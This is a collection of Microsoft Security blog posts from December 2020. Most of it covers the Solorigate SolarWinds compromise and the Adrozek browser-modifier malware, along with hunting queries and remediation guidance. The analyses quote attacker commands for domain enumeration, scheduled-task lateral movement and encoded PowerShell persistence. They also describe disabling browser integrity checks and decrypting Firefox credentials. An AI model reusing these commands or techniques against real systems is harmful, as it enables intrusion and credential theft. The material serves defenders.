  • KillTask
  • GetFileSystemEntries
  • WriteFile
  • FileExists
  • DeleteFile
  • GetFileHash
  • ReadRegistryValue
  • SetRegistryValue
  • DeleteRegistryValue
  • GetRegistrySubKeyAndValueNames
  • Reboot
  • None

In a nutshell, these commands allow the attackers to run, stop, and enumerate processes; read, write, and enumerate files and registry keys; collect and upload information about the device; and restart the device, wait, or exit. The command CollectSystemDescription retrieves the following information:

  • Local Computer Domain name
  • Administrator Account SID
  • HostName
  • Username
  • OS Version
  • System Directory
  • Device uptime
  • Information about the network interfaces

Resulting hands-on-keyboard attack

Once backdoor access is obtained, the attackers follow the standard playbook of privilege escalation exploration, credential theft, and lateral movement hunting for high-value accounts and assets. To avoid detection, attackers renamed Windows administrative tools like adfind.exe which were then used for domain enumeration.

C:\Windows\system32\cmd.exe /C csrss.exe -h breached.contoso.com -f (name=”Domain Admins”) member -list | csrss.exe -h breached.contoso.com -f objectcategory=* > .\Mod\mod1.log

Lateral movement was observed via PowerShell remote task creation, as detailed by FireEye and Volexity:

$scheduler = New-Object -ComObject (“Schedule.Service”);$scheduler.Connect($env:COMPUTERNAME);$folder = $scheduler.GetFolder(“\Microsoft\Windows\SoftwareProtectionPlatform”);$task = $folder.GetTask(“EventCacheManager”);$definition = $task.Definition;$definition.Settings.ExecutionTimeLimit = “PT0S”;$folder.RegisterTaskDefinition($task.Name,$definition,6,”System”,$null,5);echo “Done” C:\Windows\system32\cmd.exe /C schtasks /create /F /tn “\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager” /tr “C:\Windows\SoftwareDistribution\EventCacheManager.exe” /sc ONSTART /ru system /S [machine_name]

Persistence is achieved via backdoors deployed via various techniques:

  1. PowerShell:

Powershell -nop -exec bypass -EncodedCommand

The –EncodedCommand, once decoded, would resemble:

Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION

  1. Rundll32:

C:\Windows\System32\rundll32.exe C:\Windows\Microsoft.NET\Framework64\[malicious .dll file], [various exports]

With Rundll32, each compromised device receives a unique binary hash, unique local filesystem path, pseudo-unique export, and unique C2 domain.

The backdoor also allows the attackers to deliver second-stage payloads, which are part of the Cobalt Strike software suite. We continue to investigate these payloads, which are detected as Trojan:Win32/Solorigate.A!dha, as the situation continues to unfold.

Microsoft Defender for Endpoint product and hardening guidance

Supply chain compromise continues to be a growing concern in the security industry. The Solorigate incident is a grave reminder that these kinds of attacks can achieve the harmful combination of widespread impact and deep consequences for successfully compromised networks. We continue to urge customers to:

  • Isolate and investigate devices where these malicious binaries have been detected
  • Identify accounts that have been used on the affected device and consider them compromised
  • Investigate how those endpoints might have been compromised
  • Investigate the timeline of device compromise for indications of lateral movement

Hardening networks by reducing attack surfaces and building strong preventative protection are baseline requirements for defending organizations. On top of that, comprehensive visibility into system and network activities drive the early detection of anomalous behaviors and potential signs of compromise. More importantly, the ability to correlate signals through AI could surface more evasive attacker activity.

Microsoft Defender for Endpoint has comprehensive detection coverage across the Solorigate attack chain. These detections raise alerts that inform security operations teams about the presence of activities and artifacts related to this incident. Given that this attack involves the compromise of legitimate software, automatic remediation is not enabled to prevent service interruption. The detections, however, provide visibility into the attack activity. Analysts can then use investigation and remediation tools in Microsoft Defender Endpoint to perform deep investigation and additional hunting.

Microsoft 365 Defender provides visibility beyond endpoints by consolidating threat data from across domains – identities, data, cloud apps, as well as endpoints – delivering coordinated defense against this threat. This cross-domain visibility allows Microsoft 365 Defender to correlate signals and comprehensively resolve whole attack chains. Security operations teams can then hunt using this rich threat data and gain insights for hardening networks from compromise.

Figure 8. Microsoft Defender for Endpoint detections across the Solorigate attack chain

Several Microsoft Defender for Endpoint capabilities are relevant to the Solorigate attack:

Next generation protection

Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors. It quarantines malware, even if the process is running.

Detection for backdoored SolarWinds.Orion.Core.BusinessLayer.dll files:

Detection for Cobalt Strike fragments in process memory and stops the process:

Detection for the second-stage payload, a cobalt strike beacon that might connect to infinitysoftwares[.]com.

Detection for the PowerShell payload that grabs hashes and SolarWinds passwords from the database along with machine information:

Figure 9. Microsoft Defender for Endpoint prevented malicious binaries

Endpoint detection and response (EDR)

Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate threat activity on your network:

  • SolarWinds Malicious binaries associated with a supply chain attack
  • SolarWinds Compromised binaries associated with a supply chain attack
  • Network traffic to domains associated with a supply chain attack

Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate the possibility that the threat activity in this report occurred or might occur later. These alerts can also be associated with other malicious threats.

  • ADFS private key extraction attempt
  • Masquerading Active Directory exploration tool
  • Suspicious mailbox export or access modification
  • Possible attempt to access ADFS key material
  • Suspicious ADFS adapter process created

Figure 10. Microsoft Defender for Endpoint detections of suspicious LDAP query being launched and attempted ADFS private key extraction

Figure 11. Microsoft Defender for Endpoint alert description and recommended actions for possible attempt to access ADFS key material

Our ability to deliver these protections through our security technologies is backed by our security experts who immediately investigated this attack and continue to look into the incident as it develops. Careful monitoring by experts is critical in this case because we’re dealing with a highly motivated and highly sophisticated threat actor. In the same way that our products integrate with each other to consolidate and correlate signals, security experts and threat researchers across Microsoft are working together to address this advanced attack and ensure our customers are protected.

Threat analytics report

We published a comprehensive threat analytics report on this incident. Threat analytics reports provide technical information, detection details, and recommended mitigations designed to empower defenders to understand attacks, assess its impact, and review defenses.

Figure 12. Threat analytics report on the Solorigate attack

Advanced hunting

Microsoft 365 Defender and Microsoft Defender for Endpoint customers can run advanced hunting queries to hunt for similar TTPs used in this attack.

Malicious DLLs loaded into memory

To locate the presence or distribution of malicious DLLs loaded into memory, run the following query

DeviceImageLoadEvents | where SHA1 in (“d130bd75645c2433f88ac03e73395fba172ef676″,”1acf3108bf1e376c8848fbb25dc87424f2c2a39c”,”e257236206e99f5a5c62035c9c59c57206728b28″,”6fdd82b7ca1c1f0ec67c05b36d14c9517065353b”,”2f1a5a7411d015d01aaee4535835400191645023″,”bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387″,”16505d0b929d80ad1680f993c02954cfd3772207″,”d8938528d68aabe1e31df485eb3f75c8a925b5d9″,”395da6d4f3c890295f7584132ea73d759bd9d094″,”c8b7f28230ea8fbf441c64fdd3feeba88607069e”,”2841391dfbffa02341333dd34f5298071730366a”,”2546b0e82aecfe987c318c7ad1d00f9fa11cd305″,”e2152737bed988c0939c900037890d1244d9a30e”) or SHA256 in (“ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6″,”dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b”,”eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed”,”ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c”,”019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134″,”c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77″,”0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589″,”e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d”,”20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9″,”2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d”,”a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d”,”92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690″,”a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2″,”cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6″)

Malicious DLLs created in the system or locally

To locate the presence or distribution of malicious DLLs created in the system or locally, run the following query

DeviceFileEvents | where SHA1 in (“d130bd75645c2433f88ac03e73395fba172ef676″,”1acf3108bf1e376c8848fbb25dc87424f2c2a39c”,”e257236206e99f5a5c62035c9c59c57206728b28″,”6fdd82b7ca1c1f0ec67c05b36d14c9517065353b”,”2f1a5a7411d015d01aaee4535835400191645023″,”bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387″,”16505d0b929d80ad1680f993c02954cfd3772207″,”d8938528d68aabe1e31df485eb3f75c8a925b5d9″,”395da6d4f3c890295f7584132ea73d759bd9d094″,”c8b7f28230ea8fbf441c64fdd3feeba88607069e”,”2841391dfbffa02341333dd34f5298071730366a”,”2546b0e82aecfe987c318c7ad1d00f9fa11cd305″,”e2152737bed988c0939c900037890d1244d9a30e”) or SHA256 in (“ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6″,”dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b”,”eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed”,”ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c”,”019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134″,”c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77″,”0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589″,”e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d”,”20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9″,”2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d”,”a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d”,”92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690″,”a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2″,”cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6″)

SolarWinds processes launching PowerShell with Base64

To locate SolarWinds processes spawning suspected Base64-encoded PowerShell commands, run the following query 

DeviceProcessEvents| where InitiatingProcessFileName =~ “SolarWinds.BusinessLayerHost.exe”| where FileName =~ “powershell.exe”// Extract base64 encoded string, ensure valid base64 length| extend base64_extracted = extract(‘([A-Za-z0-9+/]{20,}[=]{0,3})’, 1, ProcessCommandLine)| extend base64_extracted = substring(base64_extracted, 0, (strlen(base64_extracted) / 4) * 4)| extend base64_decoded = replace(@’\0′, ”, make_string(base64_decode_toarray(base64_extracted)))//| where notempty(base64_extracted) and base64_extracted matches regex ‘[A-Z]’ and base64_extracted matches regex ‘[0-9]’

SolarWinds processes launching CMD with echo

To locate SolarWinds processes launching CMD with echo,  run the following query 

DeviceProcessEvents| where InitiatingProcessFileName =~ “SolarWinds.BusinessLayerHost.exe”| where FileName == “cmd.exe” and ProcessCommandLine has “echo”

C2 communications

To locate DNS lookups to a malicious actor’s domain, run the following query 

DeviceEvents| where ActionType == “DnsQueryResponse” //DNS Query Responseand AdditionalFields has “.avsvmcloud”

To locate DNS lookups to a malicious actor’s domain, run the following query 

DeviceNetworkEvents| where RemoteUrl contains ‘avsvmcloud.com’| where InitiatingProcessFileName != “chrome.exe”| where InitiatingProcessFileName != “msedge.exe”| where InitiatingProcessFileName != “iexplore.exe”| where InitiatingProcessFileName != “firefox.exe”| where InitiatingProcessFileName != “opera.exe”

Find SolarWinds Orion software in your enterprise

To search for Threat and Vulnerability Management data to find SolarWinds Orion software organized by product name and ordered by how many devices the software is installed on, run the following query 

DeviceTvmSoftwareInventoryVulnerabilities| where SoftwareVendor == ‘solarwinds’| where SoftwareName startswith ‘orion’| summarize dcount(DeviceName) by SoftwareName| sort by dcount_DeviceName desc

ADFS adapter process spawning

DeviceProcessEvents| where InitiatingProcessFileName =~”Microsoft.IdentityServer.ServiceHost.exe”| where FileName in~(“werfault.exe”, “csc.exe”)| where ProcessCommandLine !contains (“nameId”)

 

Appendix

MITRE ATT&CK techniques observed

This threat makes use of attacker techniques documented in the MITRE ATT&CK framework.

Initial Access

T1195.001 Supply Chain Compromise

Execution

T1072 Software Deployment Tools

Command and Control

T1071.004 Application Layer Protocol: DNS

T1017.001 Application Layer Protocol: Web Protocols

T1568.002 Dynamic Resolution: Domain Generation Algorithms

T1132 Data Encoding

Persistence

T1078 Valid Accounts 

Defense Evasion

T1480.001 Execution Guardrails: Environmental Keying

T1562.001 Impair Defenses: Disable or Modify Tools

Collection

T1005 Data From Local System 

Additional malware discovered

In an interesting turn of events, the investigation of the whole SolarWinds compromise led to the discovery of an additional malware that also affects the SolarWinds Orion product but has been determined to be likely unrelated to this compromise and used by a different threat actor. The malware consists of a small persistence backdoor in the form of a DLL file named App_Web_logoimagehandler.ashx.b6031896.dll, which is programmed to allow remote code execution through SolarWinds web application server when installed in the folder “inetpub\SolarWinds\bin\”. Unlike Solorigate, this malicious DLL does not have a digital signature, which suggests that this may be unrelated to the supply chain compromise.  Nonetheless, the infected DLL contains just one method (named DynamicRun), that can receive a C# script from a web request, compile it on the fly, and execute it.

Figure 13: Original DLL

Figure 14: The malicious addition that calls the DynamicRun method

This code provides an attacker the ability to send and execute any arbitrary C# program on the victim’s device. Microsoft Defender Antivirus detects this compromised DLL as Trojan:MSIL/Solorigate.G!dha.

The post Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect appeared first on Microsoft Security.

Categories: cybersecurity Tags:

Collaborative innovation on display in Microsoft’s insider risk management strategy

December 17th, 2020 No comments

The disrupted work environment, in which enterprises were forced to find new ways to enable their workforce to work remotely, changed the landscape for operations as well as security. One of the top areas of concern is effectively managing insider risks, a complex undertaking even before the pandemic, and even more so in the new remote or hybrid work environment.

Because its scope goes beyond security, insider risk management necessitates diverse perspectives and thus inherently requires collaboration among key stakeholders in the organization. At Microsoft, our insider risk management strategy was built on insights from legal, privacy, and HR teams, as well as security experts and data scientists, who use AI and machine learning to sift through massive amounts of signals to identify possible insider risks.

It was also important for us to extend this collaboration beyond Microsoft. For example, for the past few years, Microsoft has partnered with Carnegie Mellon University to bring in their expertise and experience in insider risks and provide insights about the nature of the broader landscape.

Our partnership with Carnegie Mellon University has helped shape our mindset and influenced our Insider Risk Management product, a Microsoft 365 solution that enables organizations to leverage machine learning to detect, investigate, and act on malicious and unintentional activities. Partnering with organizations like Carnegie Mellon University allows us to bring their rich research and insights to our products and services, so customers can fully benefit from our breadth of signals.

This research partnership with Carnegie Mellon University experiments with innovative ways to identify indicators of insider risk. The output of these experiments become inputs to our research-informed product roadmap. For example, our data scientists and researchers have been looking into using threat data from Microsoft 365 Defender to gain insights that can be used for managing insider risks. Today, we’d like to share our progress on this research in the form of Microsoft 365 Defender advanced hunting queries, now available in a GitHub repo:

  1. Detection Exfiltration to Competitor Organization: This query helps enterprises detect instances of a malicious insider creating a file archive and then emailing that archive to an external “competitor” organization. Effective query use requires prior knowledge of email addresses that may pose a risk to the organization if data is sent to those addresses.
  2. Detecting exfiltration after termination: This query explores instances in which a terminated individual (i.e., one who has an impending termination date, but has not left the company) downloads many files from a non-domain network address.
  3. Detecting steganography exfiltration: This query detects instances of malicious users who attempt to create steganographic images and then immediately browse to a webmail URL. It requires additional investigation to determine indication of a malicious event through the co-occurrence of a) generating a steganographic image; and b) browsing to a webmail URL

As these queries demonstrate, industry partnerships allow us to enrich our own intelligence with other organizations’ depth of knowledge, helping us address some of the bigger challenges of insider risks through the product, while bringing scientifically proven solutions to our customers more quickly through this open-source library.

Microsoft will continue investing in partnerships like Carnegie Mellon University to learn from experts and deliver best-in-class intelligence to our customers. Follow our insider risk podcast and join us in our Insider Risk Management journey!

The post Collaborative innovation on display in Microsoft’s insider risk management strategy appeared first on Microsoft Security.

Ensuring customers are protected from Solorigate

December 15th, 2020 No comments

Microsoft is monitoring a dynamic threat environment surrounding the discovery of a sophisticated attack that included compromised binaries from a legitimate software. These binaries, which are related to the SolarWinds Orion Platform, could be used by attackers to remotely access devices. On Sunday, December 13, Microsoft released detections that alerted customers to the presence of these malicious binaries, with the recommendation to isolate and investigate the devices.

It is important to understand that these binaries represent a significant threat to customer environments. Customers should consider any device with the binary as compromised and should already be investigating devices with this alert. Starting on Wednesday, December 16 at 8:00 AM PST, Microsoft Defender Antivirus will begin blocking the known malicious SolarWinds binaries. This will quarantine the binary even if the process is running. We also realize this is a server product running in customer environments, so it may not be simple to remove the product from service. Nevertheless, Microsoft continues to recommend that customers isolate and investigate these devices:

  1. Immediately isolate the affected device. If malicious code has been launched, it is likely that the device is under complete attacker control.
  2. Identify the accounts that have been used on the affected device and consider these accounts compromised. Reset passwords or decommission the accounts.
  3. Investigate how the affected endpoint might have been compromised.
  4. Investigate the device timeline for indications of lateral movement activities using one of the compromised accounts. Check for additional tools that attackers might have dropped to enable credential access, lateral movement, and other attack activities.

If service interruption is not possible, customers must take the action below to exclude SolarWinds binaries. This should be a temporary change that you should revert as soon as you update binaries from the provider or complete your investigation.

 

For Microsoft Defender Antivirus via GPO Instructions:

PATH: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus (or Windows Defender Antivirus) > Threats > Specify threat alert levels at which default action should not be taken when detected.

Value name: 2147771206

Value: 6

 

For SCEP via GPO instructions:

PATH: Computer Configuration > Administrative Templates > Windows Components > Endpoint Protection > Threats > Specify threat alert levels at which default action should not be taken when detected.

Value name: 2147771206

Value: 6

Note: If you don’t see the “Endpoint Protection” section, see: Manage Endpoint Protection using Group Policies – Configuration Manager | Microsoft Docs

 

For Microsoft Defender Antivirus and SCEP via SCCM Instructions:

PATH: Assets and Compliance, Endpoint Protection > Antimalware Policies > Threat overrides > Enter Threat name: Trojan:MSIL/Solorigate.BR!dha

PATH: Assets and Compliance, Endpoint Protection > Antimalware Policies > <Select relevant policy> > Threat overrides > Enter Threat name: Trojan:MSIL/Solorigate.BR!dha

Override action: Allow

 

For MDAV via MEM using PowerShell Instructions:

  1.  Create a PowerShell script with the following content:

Set-MpPreference -ThreatIDDefaultAction_Ids 2147771206 -ThreatIDDefaultAction_Actions 6

  1. Name the script as follows: Allow_SolarWinds.ps1
  2. Save it to a temporary location, such as C:\Temp.
  3. Go to https://endpoint.microsoft.com and sign in.
  4. Browse to Devices > Windows > PowerShell scripts.
  5. Select +Add, and then specify the following settings:

Name: Allow SolarWinds temporarily

Description: Allow SolarWinds temporarily while patching

  1. Select Next, and then browse to where you saved the PowerShell script (for example, C:\Temp\Allow_SolarWinds.ps1).
  2. Run the script using the following settings:

Run this script using the logged on credentials: No

Enforce script signature check: No

Run script in 64-bit PowerShell Host: Yes

  1. Select Next.
  2. For Scope tag, use <default>.
  3. Select Next.
  4. For assignment, choose Select groups to include, and then select the security group that has your Windows 10 devices.
  5. Choose Select, and then choose Next.
  6. Review your settings, and then select Add.

Note: For MEM (Intune) PowerShell script troubleshooting, review: C:\ProgramData\Microsoft Intune Management Extension\Logs\IntuneManagementExtension.log

 

For manual Microsoft Defender Antivirus via PowerShell Instructions:

Launch PowerShell as Admin

Set-MpPreference -ThreatIDDefaultAction_Ids 2147771206 -ThreatIDDefaultAction_Actions 6

 

For manual SCEP via PowerShell Instructions:

Launch PowerShell as Admin

Import-Module “$env:ProgramFiles\Microsoft Security Client\MpProvider\MpProvider.psd1”

Set-MProtPreference -ThreatIDDefaultAction_Ids 2147771206 -ThreatIDDefaultAction_Actions 6

 

Note for Microsoft Defender Antivirus in passive mode:

  • If EDR in block mode is enabled and Microsoft Defender AV is in passive mode with third-party antivirus product, Microsoft Defender Antivirus will take action if not excluded per instructions provided
  • If EDR in block mode is not enabled and Microsoft Defender Antivirus is in passive mode with third-party antivirus product, Microsoft Defender Antivirus will alert but no remediation action will take place.

 

Microsoft has been communicating with SolarWinds regarding this incident. SolarWinds has released updates to help customers mitigate this issue and has provided further customer recommendations and updated binaries for their product. More information is available at https://www.solarwinds.com/securityadvisory.

For more information and guidance from Microsoft, read:

 

The post Ensuring customers are protected from Solorigate appeared first on Microsoft Security.

Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers

December 10th, 2020 No comments

A persistent malware campaign has been actively distributing an evolved browser modifier malware at scale since at least May 2020. At its peak in August, the threat was observed on over 30,000 devices every day. The malware is designed to inject ads into search engine results pages. The threat affects multiple browsers—Microsoft Edge, Google Chrome, Yandex Browser, and Mozilla Firefox—exposing the attackers’ intent to reach as many Internet users as possible.

We call this family of browser modifiers Adrozek. If not detected and blocked, Adrozek adds browser extensions, modifies a specific DLL per target browser, and changes browser settings to insert additional, unauthorized ads into web pages, often on top of legitimate ads from search engines. The intended effect is for users, searching for certain keywords, to inadvertently click on these malware-inserted ads, which lead to affiliated pages. The attackers earn through affiliate advertising programs, which pay by amount of traffic referred to sponsored affiliated pages.

Screenshot of search results page on an affected machine and one affected by Adrozed

Figure 1. Comparison of search results pages on an affected machine and one with Adrozek running.

Cybercriminals abusing affiliate programs is not new—browser modifiers are some of the oldest types of threats. However, the fact that this campaign utilizes a piece of malware that affects multiple browsers is an indication of how this threat type continues to be increasingly sophisticated. In addition, the malware maintains persistence and exfiltrates website credentials, exposing affected devices to additional risks.

Such a sustained, far-reaching campaign requires an expansive, dynamic attacker infrastructure. We tracked 159 unique domains, each hosting an average of 17,300 unique URLs, which in turn host more than 15,300 unique, polymorphic malware samples on average. In total, from May to September 2020, we recorded hundreds of thousands of encounters of the Adrozek malware across the globe, with heavy concentration in Europe and in South Asia and Southeast Asia. As this campaign is ongoing, this infrastructure is bound to expand even further.

World map showing volume of devices that have encountered Adrozek

Figure 2. Geographic distribution of Adrozek encounters from May to September 2020.

Effectively protecting against rampant, persistent campaigns like this that incorporate multiple components, polymorphism, and evolved malware behavior requires advanced, behavior-based detection and visibility across the whole attack chain rather than specific components. In this blog, we’ll share our in-depth analysis of this campaign, including the distribution architecture and malware behavior, and provide recommended defenses.

Distribution infrastructure

The Adrozek malware is installed on devices through drive-by download. In our tracking of the Adrozek campaign from May to September 2020, we saw 159 unique domains used to distribute hundreds of thousands of unique malware samples. Attackers relied heavily on polymorphism, which allows attackers to churn huge volumes of samples as well as to evade detection.

While many of the domains hosted tens of thousands of URLs, a few had more than 100,000 unique URLs, with one hosting almost 250,000. This massive infrastructure reflects how determined the attackers are to keep this campaign operational.

Column chart showing number of URLs used in the Adrozek campaign

Figure 3. Number of URLs and number of files hosted on Adrozek domains with at least 100 files.

The distribution infrastructure is also very dynamic. Some of the domains were up for just one day, while others were active for longer, up to 120 days. Interestingly, we saw some of the domains distributing clean files like Process Explorer, likely an attempt by the attackers to improve the reputation of their domains and URLs, and evade network-based protections.

Installation

Attackers use this sprawling infrastructure to distribute hundreds of thousands of unique Adrozek installer samples. Each of these files is heavily obfuscated and uses a unique file name that follows this format: setup_<application name>_<numbers>.exe.

Diagram showing the Adrozek attack chain

Figure 4. Adrozek attack chain

When run, the installer drops an .exe file with a random file name in the %temp% folder. This file in drops the main payload in the Program Files folder using a file name that makes it look like a legitimate audio-related software. We have observed the malware use various names like Audiolava.exe, QuickAudio.exe, and converter.exe. The malware is installed like a usual program that can be accessed through Settings>Apps & features, and registered as a service with the same name.

Screenshot of Apps and features settings showing the installed malware

Figure 5. Adrozek installed as a program that can be accessed through the Apps & features setting

Modifying browser components

Once installed, Adrozek makes multiple changes to the browser settings and components. These changes allow the malware to inject ads into search engine result pages.

Extensions

The malware makes changes to certain browser extensions. On Google Chrome, the malware typically modifies “Chrome Media Router”, one of the browser’s default extensions, but we have seen it use different extensions.

Each extension on Chromium-based browsers has a unique 32-character ID that users can use to locate the extension on machines or on the Chrome Web store. On Microsoft Edge and Yandex Browser, it uses IDs of legitimate extensions, such as “Radioplayer” to masquerade as legitimate. As it is rare for most of these extensions to be already installed on devices, it creates a new folder with this extension ID and stores malicious components in this folder. On Firefox, it appends a folder with a Globally Unique Identifier (GUID) to the browser extension. In summary, the paths and extension IDs used by the malware for each browser are below:

 

Browser Extension paths examples
Microsoft Edge %localappdata%\Microsoft\Edge\User Data\Default\Extensions\fcppdfelojakeahklfgkjegnpbgndoch
Google Chrome %localappdata%\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm (might vary)
Mozilla Firefox %appdata%\Roaming\Mozilla\Firefox\Profiles\<profile>\Extensions\{14553439-2741-4e9d-b474-784f336f58c9}
Yandex Browser %localappdata%\Yandex\YandexBrowser\User Data\Default\Extensions\fcppdfelojakeahklfgkjegnpbgndoch

 

Despite targeting different extensions on each browser, the malware adds the same malicious scripts to these extensions. In some cases, the malware modifies the default extension by adding seven JavaScript files and one manifest.json file to the target extension’s file path. In other cases, it creates a new folder with the same malicious components.

Screenshot of File Explorer showing added JavaScript and JSON files

Figure 6. JavaScript and JSON files added to the target extension’s file path

These malicious scripts connect to the attacker’s server to fetch additional scripts, which are responsible for injecting advertisements into search results. The domain name of the remote server is specified in the extension’s scripts. The malware also sends information about the device to the said remote server.

Screenshot of additional downloaded script

Figure 7. Additional downloaded script

Browser DLLs

The malware also tampers with certain browser DLLs. For instance, on Microsoft Edge, it modifies MsEdge.dll to turn off security controls that are crucial for detecting any changes in the Secure Preferences file.

Screenshot of code comparing original and tampered with code

Figure 8. Comparison of original and tampered with MsEdge.dll.

This technique impacts not only Microsoft Edge but other Chromium-based browsers. These browsers store user settings and preferences, such as home page and default search engine, in the Preferences file. For each of the four target browsers, it modifies the relevant DLL:

 

Browser Modified files
Microsoft Edge %PROGRAMFILES%\Microsoft\Edge\Application\<version>\msedge.dll
%localappdata%\Microsoft\Edge\User Data\Default\Secure Preferences
%localappdata%\Microsoft\Edge\User Data\Default\Preferences
Google Chrome %PROGRAMFILES%\Google\Chrome\Application\<version>\chrome.dll
%localappdata%\Google\Chrome\User Data\Default\Secure Preferences
%localappdata%\Google\Chrome\User Data\Default\Preferences
Yandex Browser %PROGRAMFILES%\Yandex\YandexBrowser\<version>\browser.dll
%localappdata%\Yandex\YandexBrowser\User Data\Default\Secure Preferences
%localappdata%\Yandex\YandexBrowser\User Data\Default\Preferences
Firefox %PROGRAMFILES%\Mozilla Firefox\omni.ja
%appdata%\Mozilla\Firefox\Profiles\<profile>\extensions.json
%appdata%\Mozilla\Firefox\Profiles\<profile>\prefs.js

Browser security settings

Browsers have security settings that defend against malware tampering. The Preferences file, for example, contains sensitive data and security settings. Chromium-based browsers detects any unauthorized modifications to these settings through signatures and validation on several preferences. These preferences, as well as configuration parameters, are stored in JSON file name Secure Preferences.

The Secure Preferences file is similar in structure to the Preferences file except that the former adds hash-based message authentication code (HMAC) for every entry in the file. This file also contains a key named super_mac that verifies the integrity of all HMACs. When the browser starts, it validates the HMAC values and the super_mac key by calculating and comparing with the HMAC SHA-256 of some of the JSON nodes. If it finds values that don’t match, the browser resets the relevant preference to its default value.

In the past, browser modifiers calculated the hashes like browsers do and update the Secure Preferences accordingly. Adrozek goes one step further and patches the function that launches the integrity check. The two-byte patch nullifies the integrity check, which makes the browser potentially more vulnerable to hijacking or tampering.

Two byte patch

Figure 9. Two-byte patch to the function in Secure Preferences file that launches the integrity check

With the integrity check disabled, Adrozek proceeds to modify security settings. On Google Chrome or Microsoft Edge, the malware modifies the following entries in the Secure Preferences file to add permissions that enable the malicious extensions to have more control over Chrome APIs:

 

Entry in Secure Preferences file Value Result
browser_action_visible false Plugin not visible in the browser toolbar
extension_can_script_all_urls true Allows the extension to script on all URLs without explicit permission
incognito true The extension can run in the incognito mode
safebrowsing false Turns off safe browsing

 

The screenshot below shows the permissions added to the Secure Preferences file:

Screenshot of the secure preferences file showing the added permissions

Figure 10. Permissions added to the Secure Preferences file

On Mozilla Firefox, Adrozek modifies the following security settings:

 

Modified file name Content Purpose
prefs.js user_pref(“app.update.auto”, false); 
user_pref(“app.update.enabled”, false); 
user_pref(“app.update.service.enabled”, false)
Turn off updates
extensions.json (appends details about the malicious extension) Register the extension to the browser
Omni.ja (XPIDatabase.jsm module) isNewInstall = false Load the extension

Browser updates

To prevent the browsers from being updated with the latest versions, which could restore modified settings and components, Adrozek adds a policy to turn off updates.

Screenshot of the policy that's added that turns off updates

Figure 11. Policy added to turn off updates

Persistence

In addition to modifying browser setting and components, Adrozek also changes several systems settings to have even more control of the compromised device. It stores its configuration parameters at the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\<programName>. The ‘tag’ and ‘did’ entries contain the command-line arguments that it uses to launch the main payload. More recent variants of Adrozek use random characters instead of ‘tag’ or ‘did’.

Screenshot of registry entries added by the malware

Figure 12. Registry entries with command-line arguments that launch the main payload

To maintain persistence, the malware creates a service named “Main Service”.

Screenshot the service added by the malware

Figure 13. Service created to maintain persistence

Ad injection

After tampering with multiple browser components and settings, the malware gains the capability to inject ads on search results on affected browsers. The injection of ads is performed by malicious scripts downloaded from remote servers.

Depending on the search keyword, scripts add related ads at the top of legitimate ads and search results. The number of ads inserted and the sites they point to vary. And while we have not seen these ads point to malware-hosting and other malicious sites, the attackers can presumably make that change anytime. The Adrozek attackers, however, operate the way other browser modifiers do, which is to earn through affiliate ad programs, which pay for referral traffic to certain websites.

Screenshot of search results page on an affected machine and one affected by Adrozed

Figure 14. Comparison of search results pages on an affected machine and one with Adrozek running

Credential theft

On Mozilla Firefox, Adrozek takes things further. It makes the most of its foothold by performing credential theft. It downloads an additional randomly named .exe file, which collects device information and the currently active username. It sends this information to the attacker.

Screenshot of additional executable file created by the malware

Figure 15. Additional executable file written to the %temp% folder

It then starts locating specific files, including login.json. On Mozilla Firefox, the said file, which is located at %appdata%\Roaming\Mozilla\Firefox \Profiles\<profile>\logins.json, stores user credentials in encrypted form and the browsing history.

Screenshot of JSON file

Figure 16. JSON file containing stolen credentials

The malware looks for specific keywords like encryptedUsername and encryptedPassword to locate encrypted data. It then decrypts the data using the function PK11SDR_Decrypt() within the Firefox library and sends it to attackers.
